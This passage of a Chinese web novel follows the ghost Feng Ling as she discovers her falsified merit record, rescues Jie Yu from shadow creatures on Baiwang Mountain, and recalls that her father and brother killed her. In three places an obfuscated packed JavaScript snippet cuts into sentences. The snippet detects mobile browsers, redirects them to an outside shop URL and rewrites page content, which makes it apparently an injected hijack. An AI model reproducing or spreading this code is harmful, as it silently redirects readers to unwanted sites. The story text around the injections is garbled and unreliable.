封灵连翻数页,没能在其中找到自己的名字不说,更连哪怕一张落了墨渍的纸张也没有看到。不自觉地拧紧眉头,封灵原本轻缓的动作也开始粗暴起来。 难道非得要转轮王才能看到不成? 封灵捏着簿册的五指一点点收紧,眼底带着明显的不甘与愤怒。可要她就此打住,也决计是不能的。机会难得,下次若再想摸到这功过簿的边,也不知要到猴年马月去了…… 鬼师娘娘一面思忖着其他办法,一面不死心地继续翻阅着,甚至还要分出一半的精力关注着殿外动静,眉心躁烦愈浓。 指尖忽而传来一阵刺痛,像是被什么东西噬咬了一口般,泛着细密而灼烫的麻意。分明没有风,封灵手中的功过簿却被无端端地吹动了好几页,直到停于某一处。 下意识将手掌平摊放在眼前,封灵前后翻转了两下,却并没有找到任何的伤口,连一开始的刺痛也没了踪迹。 茫然怔愣了几瞬,鬼师娘娘才后知后觉般低下头,原本空白无痕的功过簿也终于在这一刻显露出了其他痕迹——她此前遍寻不到的自己的名姓。 而后,如坠冰窟。 【鬼历三千二百七十四年,三月初九,擒第二殿外逃恶鬼一只,累恶业五年。】 【鬼历三千三百七十六年,元月初一,擒第六殿受罚厉鬼一只,累恶业七年。】 【鬼历三千四百五十八年,七月十四,擒第一殿堕凡鬼差一只,累恶业十三年。】 …… 【鬼历四千一百九十五年,四月廿二,擒人间作乱厉鬼一只,累恶业三年。】 功过簿从封灵的指尖缓缓滑落,伴随着“啪嗒”一声轻响跌落地面,在空旷的后殿里显得格外明显。而这一切的始作俑者却全然无所察觉,只空洞着一双红眸,像是被抽去全身气力般近乎瘫倒在地。 怎么可能…… 为什么她抓的每一只鬼,最后都成了加诸在自己身上的无边恶业? 酆都大帝明明说过的,只要她帮地府抓回逃窜各地的鬼物,便可以用功业抵恶业,换自己早日重归轮回的…… 木然看向不远处凌乱铺散的功过簿,上面密密麻麻的黑字曾是封灵千年来赖以前行的动力,是她在遇见解玉前,支撑自己不堕厉鬼的唯一指望……可如今,里面的每一个字都变成了凶狠割向她自己的尖刀,将她本就残缺的身体撕裂得近乎不存。 封灵露出一抹扭曲而嘲讽的笑,嘴唇却克制不住地抖动起来。 她虽嘴里说着要偷闲捡懒,可从来也没误过地府的任何一件差事。打从酆都大帝的手里接过鬼师娘娘的称呼那日起,不论是地下的鬼差,还是地上的阴兵,谁都没有她这样的兢兢业业……如今算什么,笑话一则! 踉跄着从地上爬起来,封灵的眼眸闪烁着腥红的暗芒,与浮于脸上的阴沉与狠厉如出一辙。习惯性摸上手腕,封灵本欲去找酆都大帝问个究竟,却意料之外的扑了个空,而后才反应过来,她的勾魂索不久前才被转轮王给借去用了。 如今想来,这话怕也是诓她的吧…… 封灵面上寒意愈浓,翻手化出折扇便要去找“人”算账,可将将动了两步,便又茫然地停在原地。 转轮王肯定不无辜,可这件事哪里就只是他一个的手笔呢……她想找“人”算账,可究竟该去找谁算账呢? 封灵捏紧了扇柄,愤恨与不平充斥在胸腔之内,一时竟不知该何去何从。第十殿是不能再待了,可剩下的几个阎王她也不敢再信。至于黑白无常他们,如今各自领了差事在外,她也是找不见的……偌大一座酆都城,她竟瞧谁都是心怀鬼胎、居心叵测,谁也不能信,谁也不敢信。 等等…… 孟婆。 对了,她还可以先去找孟婆! 封灵强打起精神,正要掐诀离开,几步的工夫却又再度停下,像是终于回忆起什么一般僵住了身体。眼中眸光摇摇欲坠,曾经的信任也尽数坍塌,只余下无边的寒心与灰心丧意。 暗示她来第十殿的,是孟婆。 可再三阻拦她的,也是孟婆…… 封灵面色惨白,只知道脑中传来“嗡”的一声闷响,思绪便在这一瞬间彻底停摆。抬手捂上自己的眼睛,从来厉害的鬼师娘娘终似承受不住一般蹲下身子,露出的下半张脸上表情似哭似笑,贝齿咬得死紧,仍是没发出半分多余的声响。 不知道过了多久,早已不会跳动的部位却无端传来一阵又一阵尖锐的疼痛,像是被利器剜了道既长且深的口子一般,痛楚细密绵长而不知尽头。 五指紧紧攥住胸前衣襟,封灵急促地喘息了几口,试图缓和这莫名而来的痛意,但却是杯水车薪,毫无用处。 「鬼师娘娘,您快——」 “……鬼师娘娘?您、您这是怎么了呀!” 意识昏沉间,封灵的耳边似乎传来了纪苏文急切的呼唤,与发现她跌坐在地上后,疾步跑来询问的鬼差的声音交织在一起,乱糟糟地将本就浑沌的大脑搅得更加淆乱。 而后,心口的疼痛如潮水般骤然退去,一如它来时的无有征兆,若非指尖还残留着细微的麻意,封灵险些要以为是自己的错觉。 没有急着站起来,封灵两手撑住地面,管不得身侧的鬼差作何反应,只自顾自地缓和了一阵。直到胸口的不适感彻底消退后,方仰头分了丝注视过去—— “……有什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627467|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 语气已然冷淡下来。 那鬼差原也认识封灵,过来时虽不知她出了什么事情,却也一直留在原地守着,不想见封灵如此反应,挠着头表情有些讪讪,“我、我就是看您似乎身有不适,所以、所以……” 后半截话却在封灵愈发平静的眼神中生生咽了回去。 “……多谢挂心。” 封灵沉默了一瞬,还是轻声道了句谢,又撑住膝盖站了起来。这些鬼差们瞧着都是不知情的,对她的态度也一如往昔。如此,她便是有千千万万的愤怒,也不该朝向这群无辜者宣泄……否则,她与转轮王他们又有何区别。 “怎么就你一个,其他该值守在第十殿的鬼差呢?都跟着转轮王走了吗?” 冷冷环视一圈,封灵立刻察觉出了不对劲来。隔着半开的门扇,从来五步一站,十步一岗的第十殿,如今却显得空荡荡的,除了她眼前的这个,竟再无多的其他鬼差。 封灵的语气和缓了不少,那鬼差便也跟着自在起来,“不是不是,是刚才日游神突然飘了过来,喊着什么在人间发现了阎魔王家小玄孙的踪迹,吆喝着我们跟他一块儿去把那姓纪的带回来呢!” 封灵垂目摆弄折扇的动作顿时一僵,这才后知后觉地反应过来,她刚才似乎真听到了纪苏文的呼唤。只是那声音来的突然,消失的也迅速,兼之有疼痛搅扰思绪,一时间竟被她抛诸在了脑后…… “……纪鬼差还活着?真是件好事。” 封灵敷衍般回应了一句,又思忖起纪苏文找自己的原因来。 那鬼差见封灵愿意搭理自己,便以为前者对这事颇感兴趣,表情神秘地嘿嘿一笑,又凑近了小声道:“哪能啊,日游神说纪鬼差私逃地府,又在人间对生人动了手,已然犯了律,所以才让兄弟们上去拿他呢!” 封灵猛地抬了头,两眼直直地盯住那鬼差不放,“对生人动了手……他伤了谁!阎魔王那边可去知会过了?” 以纪苏文的谨慎,他怎可能会贸然暴露在人前,还正好被日游神撞上与人动手……蔺秋茹还在莫县住着,阎魔王也不会由着他这般乱来的。 “嗐!哪用咱们去知会哪,五老爷刚才便奔去人间了,临出发前还与日游神翻了脸!若不是被陆判官拦着,直接动手都是轻的……鬼师娘娘您说,他老人家这反应,是不是一早就知道什么了呀?” 鬼差还在一旁兀自说着话,“要说那纪苏文的胆子也真是够大的,滞留人间迟迟不归也就罢了,这次竟还与酆家的人动起手来了……他挑谁不好,偏挑个与鬼物来往密切的,这下可不就被发现了!” 那鬼差之后还说了些什么,可封灵却已然听不真切了。会让纪苏文在这当头与酆家扯上关系的,只可能跟解玉有关…… 怔愣抚上胸口,封灵的表情再度变得难看起来。她本来以为,刚才的痛楚源于酆都大帝对她发现端倪后的提前提防,可直到听了鬼差的话后才骤然惊觉,这应当是解玉的痛,是解玉在无意识间向她呼救…… 解玉出事了。 62. 血痕狼藉 怕是酆灵英在查的事情出了什么变故。 意识到这一点后,封灵的眸色微沉。原本坚定去找地府一众鬼神算账的心在这一刻生了偏移,权衡在大脑深处不住地摇摆着,最终还是倒向了解玉。 好歹都是地府的属官,只要酆堵城一日不倒,她便能随时找到这群鬼神的踪迹。可解玉若是死了,依他如今攒的功业,便只剩转世投胎这一条路了,届时她又该去何处寻人…… 封灵心中有了计较,脚下也不再犹豫。匆匆与仍在喋喋不休的鬼差一道别,红衣鬼化作一缕青烟飘回了人间。 循着少许残留的气息,封灵径自出现在了酆家的上空。悬停着扫视一圈,前者眼中的疑虑更深。没找见解玉和酆灵英的踪影,细看竟连其他酆家人的痕迹也消失了,空荡荡的好似一座死宅。 拧着眉落回地面,封灵又一次在心底呼唤起解玉来,却依旧没得到对方的半点回应。至于纪苏文,早前折向他的纸鹤只在空中旋了半个圆圈,便不受控制地僵了翅膀,又散作零星光点坠向四周。 若不是被谁挡下了,便是解玉与纪苏文都已经失去了意识,根本无法回应封灵。可不管是哪一个原因,眼下都不是什么好事。否则,她也不必凭气息和猜测到处找人。 挥袖震开被风吹得嘎吱作响的木门,封灵不发一言地走进记忆中酆父的住处,而后半眯着红眸打量起来。整间内室凌乱不堪,墙面还残余数道被利器砍过之后留下的印痕……此处当是经历了一番激烈的打斗。 再往里走,便是彻底凝固的殷红色血渍。 抬手从其中一处血痕上抹过,又凑近鼻尖轻嗅了两下,封灵的表情有少许放松。虽沾了解玉的气息,可这满屋的血却不是他的,想来只是与受伤的人曾经一同出现在此屋内。 可能出现在这里的,除了酆父,便只剩酆灵英这位少家主了…… 封灵沉着脸,目光再度逡巡起来。 而后,视线滞于某处角落。 飞溅着零星血点的地面,正悄无声息地躺了一枚个头稍大的铁环,与她之前在废弃小院里捡拾到的铁片材质一样,但形样上却更清楚了些——当是从什么束缚人的物事上挣断开的一小截。 封灵似有所感,捡起那枚铁环又细看了两眼,像是确认了什么般直奔废弃小院而去。她当然不认为酆、解二人会被拘在如此明显的地方无法脱身,但既落了痕迹,保不齐就能在那处发现更多的端倪。 …… 毫无顾忌地现出鬼身,封灵堪称粗暴地破开了小院的大门。无视被劲风吹得扬起的枯黄落叶,红衣鬼循着上次的记忆,径自穿进了内室正屋。 粗粗环视一圈,封灵并没有找到更多有用的线索。院外空地荒僻依旧,内里也没了此前见到的雅致整洁,入目皆狼藉,与杂乱不堪的酆父院如出一辙,只是少了打斗的痕迹。 自然,也就少了殷红的血迹。 可这样,就找不见解玉了…… 垂在身侧的手不自觉紧握成拳,封灵将眉心拧出一个深深的川字,目光中闪烁着焦虑与不安,整个“人”显得有些忧心忡忡。 刺骨的凉意爬上后背,又一点点渗进四肢百骸,封灵绷着一张难看的脸,尤自不死心地继续搜寻起来。如此又是数次,才终于在一处逼仄的角落找到了不对劲的地方。 被凌乱倒在地上的陈设摆件遮去大半的雪白墙面,逼近柱角的地方,多了抹寸长的赤褐色污痕。颜色浓郁近血,却比血更加暗沉——是酆灵英在百望山时掘出的深坑里的泥土! 封灵目光一凝,而后便从酆家的宅院里彻底消失。 …… 大雾弥天,举目难知前路。封灵被迫落回地面,转以步行入百望山。仰头四望,眼前的景象竟总算与鬼市摊主当日的说辞有了少许重叠。 「……怨气凝结不散,便成了笼于林间的浓雾。」 可眼下这浓雾,除却怨气,更掺杂了生气、死气,甚至还有数量不少的鬼气……封灵抬扇掩住口鼻,一面逐字逐句地回忆着摊主说过的话,一面辨认着小路继续往更深处而去。 只是,这山里已然如此大的阵仗,却为何还没有城隍庙的阴兵赶过来,便连先她一步来人间找纪苏文的地府鬼差也不见踪影? 封灵蓦地停住,眼中神色复杂难辨。过往与鬼祟邪物打交道的经验告诉她,再往前一定是条叵测多难的路,而她最好的选择应该是就此打住,只当什么也没发现般掉头离开。 可是…… 红眸穿过似乎没有尽头的浓雾,封灵认栽一般地舒了眉眼。谁让她自己把人拎上了贼船呢……如今,也只好一条船上兜到底了。 缓缓抬起左手,封灵阖眸轻念着难解的咒文。露于殷红袖口之外的食指与中指闭拢,悬于半空绘出一道无形的符纹,待成型后又摊开五指,掌心向外狠狠一推,那符纹便卷席着劲风凶猛地朝前扑去。 红眸再度睁开,封灵凝神细看了几眼,尤嫌不够般召出了折扇,朝着符纹肆虐的方向又是一挥,那浓雾便似有意识般连连后退,被遮掩许久的山林重又现出了真容。 “……鬼师娘娘,您终于来了!” 封灵摆脱了浓雾的纠缠,总算能奔着记忆里那处“风水宝地”而去,慌乱间竟忘了身为鬼的看家本事,疾行几步后才反应过来似的掐诀消失。 几瞬工夫出现在半月形水塘前,封灵将将现出身形,便听见纪苏文堪称欣喜的呼唤,就像即将溺毙于深潭的人抓住了救命绳索一般。 封灵暗道一声不好,急急抬头又循着声音去找,入目便是再惨烈不过的局面——解玉浑身是血地倒在地上,生死不明。纪苏文长刀插向地面,勉力挡在解玉的身前,却也已是强弩之末。不远处,还残留着一摊半干的血渍,蜿蜒勾勒出一条长线,最终隐于右前方的更深处。 而这一切的始作俑者——面孔模糊的人形黑影,此刻正对着封灵虎视眈眈,看来并不欢迎封灵这样不请自来的客人。 怎么竟有些眼熟…… 封灵还来不及细想,便被迅速逼近的黑影震得倒退两步。后脚跟抵住大半截埋进地底的石头,封灵两手掐诀,迅速拍出几道符纹,又捏紧折扇挥出数道风刃还击。 几个来回之后,封灵总算发现了此前的熟悉劲是从何而来——这些人形黑影,分明就是当初被酆父养在身边的深黑团影,只是厉害程度却远不可同日而语。 才隔了多少日,酆父就有这本事了? 封灵一面暗自思忖,一面冲出包围与纪苏文汇合。抬手扬起一片火海,又将手里的折扇往空中一抛,以扇化屏挡住四周还欲攻击的黑影,封灵这才有工夫查看解玉的情况。 身上虽也有伤,但沾在外衣的血并不全是解玉自己的。胸前后背的几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643902|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道豁口,都只是看着吓人,实际并不致命。最严重的地方,还是解玉近乎血肉模糊的左脸,瞧着像是被什么生生剜了块肉下去。 这人今后,怕是再难用皮相去骗人了。 正是情况危急的时候,封灵脑海中却突然毫无征兆地涌出这样的念头,自己把自己逗得笑出了声。垂目细看了解玉的脸色,封灵探出两截指尖,动作轻柔地贴上男人额头,皮肤相接间隐约可见微光闪烁。而后,解玉的眼睫颤了几下,脑袋不自觉地偏移,似乎就要醒转。 “……混账东西。” 到这时,封灵才终于松了口气,掀起眼帘瞥了眼纪苏文,又不轻不重地斥了一句。 后者正持刀戒备着四周的黑影,闻言面露惭色,带着明显的愧疚语气,沉声道:“鬼师娘娘训斥的是,我既许诺要帮您看顾好解道长,便该竭力护人平安才是,如今却累他受了这样重的伤,实在是、实在是……” 大抵觉得自己再说下去便是推卸了,纪苏文抿了抿嘴,终是没有再开口。 “……你这样子,真该被阎魔王拎住好生臭骂一顿,”封灵抬手在屏障上又加诸了一层符纹,这才朝向纪苏文,“纪鬼差,我很感激你护住了解玉,可你自己的安危便不要了么……日游神已发现了你的踪迹,更从地府喊了鬼差要上来拿你,连阎魔王也惊动了。你这样,秋茹姑娘该怎么办?” “关乎自己的事才是最要紧的……你在人间辛辛苦苦地藏了这么久,好不容易能陪在秋茹姑娘身边,如今却因为解玉前功尽弃。若我是你,定然是觉得不值的。” 掌心似被什么搔刮后生出了痒意,封灵连忙低头看去,正迎上茫然睁眼的解玉,红衣鬼叹了口气又补上未尽之言。 纪苏文沉默一瞬,“若无鬼师娘娘,苏文早就被带回地府了,又何来与秋茹相处的这许多日子……如今也不过是报恩罢了。” “……纪鬼差,多谢。” 解玉这会儿也清醒了过来,脸上的伤口似火灼一般的疼,克制着想要抠挠的冲动,男人神色认真地朝纪苏文道谢。 “若是抓你的鬼差这会能找过来,说不定还是件好事,”封灵看着在黑影的攻击下已隐隐有些裂痕的屏障,抬手又覆上了一层符纹,“不过么,这些东西一时半会也进不来,你们且再等上片刻……我把酆家那摊子事情解决了就回来。” 解玉的脸一下子变得惨白,“这里就我和纪鬼差两个……鬼大王,你是不是说错了?” “解玉,我不知道你想要瞒我什么,之前也从不过问,可酆灵英好歹是一条活生生的人命,”封灵本已站了起来,闻言投来不赞同的一眼,“你不能就这样看着她丢了性命……无论如何,你也是与她有过数月交情的。” “是,我、不是……” 解玉一下子慌张起来,根本顾不得身上的疼痛,跌撞着爬起来就要解释,却又被封灵挥着手阻止,“放心,我也不想给自己多添一重因果,把酆灵英救回来咱们便走……这黑影是酆家的手笔,他们怕是从内里就开始乱了,咱们没必要惹上一身腥。” “……解道长,或者你还有什么想跟我说的?” 似乎是想让解玉稍加安心,封灵便又故意反问起来,笑得眉眼弯弯。 “鬼大王,要不等鬼差——” 解玉突然没了声音,只怔怔盯着封灵的身后,目露悚然之色。 63. 如堕烟海 封灵立刻回头。 只见原本已被逼退的浓雾,不知何时又贴住地面一点点弥散开来。挟着腥臭难闻的腐朽气息,将被拦在四周的人形黑影逐个吞没,视线再度变得昏暗。 “……鬼师娘娘,我随您同去吧。” 纪苏文撑着膝盖起身,“方才我与那酆家的家主交过手,他倒是不难对付,可身边却跟了个不明深浅的怪物,出招诡谲,也看不出是什么来路……这些黑影便是他召出来的。” 看来,是上次打伤她的那个…… “你觉得他厉害吗?” 封灵习惯性的摸上手腕,旋即跟反应过来似的停下动作,又佯装无事般问起纪苏文。 “与其说是厉害,倒不如说是奇怪……就好像、好像他跟鬼差打过许久的交道,轻易便能看出我们的身份,猜出我们的招数,甚至能提前防备。” 纪苏文脸色凝重。 封灵嗯了一声,“你不必跟我同去,趁现在日游神还没找来,早些匿了身形离开,想来阎魔王会为你周旋好一切……解玉这里留着我的折扇呢,不会出事的。” “您刚才不是说——” 纪苏文急急出声,又被封灵截断,“我的确希望鬼差找来,却并不希望你被他们带走。纪鬼差,早些离开吧……秋茹姑娘还在莫县等着你呢。” “……我不会走的。” “您既不愿意我与您同去,那我便留在这里守着解道长……秋茹她、她也不会想要一个大敌当前却独自逃难的丈夫的,”纪苏文将自己的长刀递出去,“虽算不得什么神兵,但总归是件可用的兵器。这地方诡异的很,您身上的勾魂索或有限制,还是一并将它拿去用吧。” 封灵并不习惯用长刀,准确来说,这一千年来她就没用过任何带刃的兵器。一则是不喜欢近距离与鬼物劈砍,另则也是源自她对这类兵器不明缘由的抵触……或许也与她早已失了记忆的生前有关。 只是眼下,她也没有更好的选择了。 折扇留给了解玉和纪苏文,勾魂索也被转轮王诓走了,她如今可说是手无寸铁,便也无所谓用什么兵器了。 抬手接过长刀,封灵突然回头看了解玉一眼,带着连她自己也不明白的纷乱思绪,在男人担忧与挣扎的注视下,缓缓勾起一抹笑弧。 “解道长,等我回来呀!” 她道。 而后,消失在一片浓雾之中。 “……鬼大王,封灵!” 抬手试图阻拦,到底是迟了一步。解玉只能眼看着红色的袖角从自己的指缝间滑过,负伤的身体一下子失了平衡,又带着他重重摔倒在地上。 纪苏文赶忙去扶,却听见前者不停地在口中叨念着不行二字。只以为是在担心鬼师娘娘情况的纪鬼差,将人搀坐在地上后,又连声宽慰了数句。 解玉的脸色却未见好转,反倒愈发的苍白起来。捂着嘴咳出两口血沫,男人从来璨亮的眸子此刻一片灰暗。痛苦喘息两声,解玉挣扎着便要起身,似乎想追赶封灵而去,却被早有觉察的纪苏文拦了下来。 “鬼师娘娘的本事大着呢,人间的鬼祟哪能奈何得了她……解道长,眼下你只管照顾好自己,待我将身上的这几道伤处理好,便出去一并帮忙,定不会有事的。” 将人摁回原处,又紧靠着解玉坐下,纪苏文这才说出自己的打算,又掐着诀治疗起伤口来。前者的脸色依旧苍白难看,闻言也只是回以茫然的一眼,像是沉浸于自己的世界无法自拔一般,根本没听清纪苏文说了什么话。 如此又是一阵,才勉强恢复了神志。 “……纪鬼差,我若想引其他的鬼差与阴兵来此地,该如何做?” 解玉拉过纪苏文的胳臂,死死盯着地面,如是道。 …… 那厢,封灵已循着血迹找到了酆家人的踪影。可旋即映入眼帘的一切,却让她怀疑自己是误踩了没有除尽的幽魂草,所以被拖进了这一场不明缘由的幻境之中。 否则,她怎么会看到如此荒诞的景象。 “……先祖!阿英她是无辜的,求您放她一条生路吧!” 酆父一改在封灵面前的阴狠淡定,此刻正狼狈地伏倒在地面,目眦欲裂。两只手臂竭力地朝前伸展着,像是在拼尽全力阻拦什么,只可惜杯水车薪,除却多添几道血口以外,毫无用处。 几步开外,还有个与酆父面容相似,身形间却多显稚嫩的锦袍少年——约莫是酆灵英的同胞兄弟。此刻同样满身狼藉地匍匐在地,却奇怪的没有受伤,但也像是被什么无形的东西压住了一般,动弹不得。 “爹!你是老糊涂了不成?!他一个不知从哪冒出来的邪物鬼祟,算哪门子的先祖……喂,快把我阿姐放出来,不然等小爷我找到你的坟堆,定一把火把你的骨头给烧了!” 年纪虽小,倒是个牙尖嘴利的。 封灵隐了身形落于树上某处。一面听着锦袍少年不带重样的激烈叫骂,一面凝神搜寻着几人口中或被囚于某处的酆灵英踪影。 目之所及,除了一方半开的桃木棺外,便只剩数十名倒在地上不知死活的酆家人了。 桃木棺…… 桃木棺! 封灵脸色登时沉了下去,握住刀柄的手一点点收紧,正要现出真身施力劈砍,却听见下方传来一道让她莫名生寒的声音。 “灵尧,我这是在帮你,也替酆家除害……想当初,你要选个女娃娃做少家主时我便不赞同,一个早晚要嫁出去随了夫家的女人,如何能带领酆家走向千年万年的昌盛?如今她的所作所为,全然在把酆家往死路上推,可见我当年的话不错。” 明明是记忆中不曾出现的声音,封灵却蓦地生出一股熟悉,背脊涌上颤栗的寒意。 底下的声音还在继续—— “……灵尧,一个女儿罢了,又不能承继酆家香火,没了便没了,有什么舍不得的。抬眼看看你的身边,还有个本事的儿子呢,让他接了这少家主的位子,才算是拨乱反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659292|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你才不会成为酆家的罪人!” 【姐姐她一介女流之身,如何能替咱们家承继香火?若由着姐姐接下来,咱们家还能传上几代!姐姐不过是占了天资的优势,可我也是苦修多年,未必会比不上她……爹,看看你的儿子吧,我才是最合适的那个人!】 这又是谁的声音? 谁在她的脑子里说话…… 封灵不自觉捂住耳朵,面露痛苦之色。 “你闭嘴!我姐姐厉害得很!是当之无愧的少家主,你算个什么东西,也配在这里替小爷我做决定!我才不要做什么少家主呢!” 【你姐姐再厉害,赚来的名声都只是她自己的。如今又成日在村子里乱转,为了句毫无意义的感激便到处帮忙,只怕连自己姓什么都忘了……女儿家的目光,到底短浅了些,分不清谁才是她该看重的!】 封灵只觉头疼欲裂,熟悉的、陌生的声音彼此裹缠,又毫不客气地侵袭进她的大脑,将本就只剩残片的记忆搅得更加混乱。 “傻孩子,到底是太年轻了些,还分不清什么才是好东西……灵尧,你也该对自己这唯一的儿子多上点心。至少也叫他知道,对待尊长该是什么样的态度!” 那声音陡然沉下来,锦袍少年立刻呕出一口血沫,嘶嘶地喘着粗气,却仍不肯住口,“你不是我家尊长,我、我才不要对你好脸色!” “灵尧啊灵尧,看来你不止是眼光差,便连教人的本事也是没有的。棺材里的女儿不知道我是谁,倒在地上的儿子也不知道我是谁……你这个家主,当的还真是差劲!” 酆父的胳臂一下子弯折,俨然是说话者的惩戒。前者发出一声痛苦的闷哼,又立刻咬牙咽了回去,强打着精神道:“酆容,不可对咱们家立族的第一代家主无礼……这原是历代家主传承时才会知道的秘密,你今日听罢,出了这百望山也不得乱传!” 随着这声解释,桃木棺前突然扭曲着旋出一股黑烟,曾经恍惚间瞥过的玄色衣袍复又出现在封灵眼前——正是那日在酆父院中打伤她的怪物。 至于脸,被全部挡在了兜帽之下,封灵藏匿的地方无法看清,也根本无须看清。 当务之急,是先救出酆灵英! 强压下满身的不适,封灵蓦地从树林间消失,再现身时已逼近桃木棺的所在。振袖挥出数道风刃阻拦,封灵高高扬起长刀,挟着浓郁的鬼气便凶狠劈下—— 只听见“咔嚓”一声轻响,桃木棺便从正中被劈裂开来,困在里面的女子旋即滚落在地。 确是酆灵英。 却又不再像酆灵英。 素纱白衣覆身,却又在血水的浸透下成了一件红衣。手脚缚绳,两目紧闭,昏沉沉不知死生。 “……不对,我记得不是这样的。” 封灵突然语无伦次起来,说着连自己也不明白的话,如堕烟海般看了两眼,便跌撞着脚步朝后退去。 直到—— “是不是还少了剜眼拔舌……姐姐?” 64. 我为何人 身体反应在这一刻快过大脑。 封灵手腕一翻,长刀便转了个方向,直冲身后人挥砍而去。但到底是慢了一步,只堪堪将其覆身兜帽划破,没能在肩膀上回赠他一个窟窿眼。 来不及一窥真面目,封灵迅速回到酆灵英的身侧。长刀斜插入地面,封灵十指交叠悬于半空,又掐着诀从前者身上抹过,直见到酆灵英胸口重又起伏后才松了一口气。 而后,似梦初觉般忆起刚才的话。 姐姐,什么姐姐…… 正当时,不远处传来那锦袍少年倒吸一口凉气的声音,又紧跟着一声咒骂,“爹!这样的怪物,怎么能是咱们家先祖呢!” 封灵怔然回头,红眸迎上正同样注视着自己的那张脸,却只觉眼前一片模糊。 一个人,怎么能同时长着两张脸呢? 父与子,又怎会出现在一具躯体上…… 像是被什么东西洞穿了胸口一般,腥红黏稠的血液一点点洇透封灵的衣襟,又顺着衣角滴落地面。封灵死死盯着眼前之人不放,却突然捂住口鼻闷咳了两声,鲜血旋即从指缝中渗了出来。脖颈、手腕,凡裸露在外的部位俱多出一道深深的勒痕。 再抬头,红衣鬼的脸上更添两道血泪,是从她的眼眶里淌下来的。 她终于知道自己忘记了什么了。 “……封珏!” 半边身子都被鲜血染透,甚至很快在地上聚成一汪血滩,封灵却丝毫不顾,胡乱在脸上抹了两下,满目怨恨地唤出眼前人的名姓。 那怪物,如今该说是封珏了,顶着与封灵有着六分相似的一张脸,闻言露出一抹极度兴奋的咧笑,像是没听出封灵话里的满腔恨意一般,只态度轻佻地诶了一声。 “爹,你上次伤的人真是姐姐……姐姐的相貌和之前有些不一样了,怪不得爹你会认不出来。还是如今这样子顺眼,都是咱们见惯了的。” “灵儿,归、归家。” 从封珏的左脸往下,一直到整个肩颈的地方,便是锦袍少年见到的第二张脸——封家姐弟父亲的脸。此刻正夸张地咧开嘴,发出浑浊而粗重的喘息声,嘶叫着朝封灵道。 “闭嘴……闭嘴,闭嘴!” 封灵的语调一次比一次高,眼睛又开始止不住地淌下血泪,情绪激荡间险些连鬼身也难以聚成,萦缠在身边的鬼气隐隐有红光浮现。 这是鬼物怨恨过甚的反应。若继续不管不顾地任其发展,只需沾上凡人血肉,封灵便会在顷刻间化为厉鬼…… 想起自己是怎么死去的封灵,此刻已全然被恨意裹挟,又驱使着她不管不顾地向曾经赖以信任的父亲与胞弟复仇。 无视还在汩汩流出鲜血的许多豁口,封灵反手拔出插于地上的长刀,却只随意舞了两下便弃置一旁。面无表情地环视一圈,封灵五指弯曲成爪,隔空抓来了酆父身边的长剑。 “……要我归家?我先送你们归家!” 抬手将自己的鲜血抹到剑刃之上,封灵紧握剑柄的指尖用力到有些泛白。左手在空中勾出一道符咒,而后掌心朝上迅速一扬,伴随着骤然响起的雷鸣,封灵瞬间腾空跃起,一个倒翻直冲封珏面门而去。 银蛇般的白芒破开厚重的黑雾,又携着轰隆作响的雷声,气势汹汹地越过封灵,径自劈向场上好整以暇的的另一人。 竟是不顾自己的恶鬼之身,借符箓引来了雷电之力,拼着两败俱伤也要杀了封珏…… “姐姐不止模样变了,便连性子也变了许多,”封珏的声音里带着笑意,仿佛两人还在姐弟情深的从前一般,闪躲的动作却丝毫不见迟慢,“姐姐过去是多么的谨慎,如今竟也学会前后不思地动手了……就这般想要自己亲弟弟的命么?真是狠心。” 而后目光一凝,反手拖拽住封灵尚来不及收势的胳臂,五指屈合,如被焊牢的铁钳般死死贴住不放,指甲暴长数寸,直接穿透了封灵的整只手腕,更尤嫌不够地在血肉里转了个圈。 分明是看出封灵如今受生前伤势所困,动作间也不复之前的灵敏,这才有恃无恐的自说自话起来。 封灵握剑的手猛地一颤,面上闪过几分吃痛,却并没有急着挣离桎梏,反就着眼下的姿势贴了上去,不顾被洞穿得更深的腕肘,剑锋一转便朝封珏的腰腹间劈去,似乎想直接将前者拦腰斩成两截。 封珏这才变了脸色,急急退后两步,又谨慎地与封灵隔开一段距离,再不复一开始的游刃有余。 随手将手里沾着的血甩在地上,封珏有些嫌恶地撩起衣袍揩了揩,“姐姐,你都变成一只鬼了,怎么还能流血呢?” 片刻后又道:“怪不得我跟阿爹当年怎么都驭不来姐姐的魂魄,姐姐竟沦落成自己生前最憎厌的恶鬼了……听说恶鬼都是要在地府受折磨的,姐姐这些年的日子想来也过得颇有滋味吧。” 那副表情,倒不比一只恶鬼差到哪里去。 “……你这么好奇,干脆让我送你下去见识见识!” 